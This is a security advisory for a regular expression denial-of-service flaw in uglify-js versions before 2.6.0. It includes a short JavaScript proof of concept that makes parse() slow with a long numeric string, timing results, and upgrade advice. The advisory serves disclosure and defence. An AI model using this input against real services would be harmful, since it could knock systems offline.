GHSA-c9f4-xj24-8jqx

Suggest an improvement
Source
https://github.com/advisories/GHSA-c9f4-xj24-8jqx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-c9f4-xj24-8jqx/GHSA-c9f4-xj24-8jqx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c9f4-xj24-8jqx
Aliases
Published
2017-10-24T18:33:36Z
Modified
2023-11-08T03:58:03.623951Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Regular Expression Denial of Service in uglify-js
Details

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real    0m1.091s
user    0m1.047s
sys 0m0.039s

$ time node test.js 80000
real    0m6.486s
user    0m6.229s
sys 0m0.094s

Recommendation

Update to version 2.6.0 or later.

Database specific
{
    "nvd_published_at": null,
    "github_reviewed_at": "2020-06-16T21:30:50Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-1333"
    ]
}
References

Affected packages

npm / uglify-js

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.6.0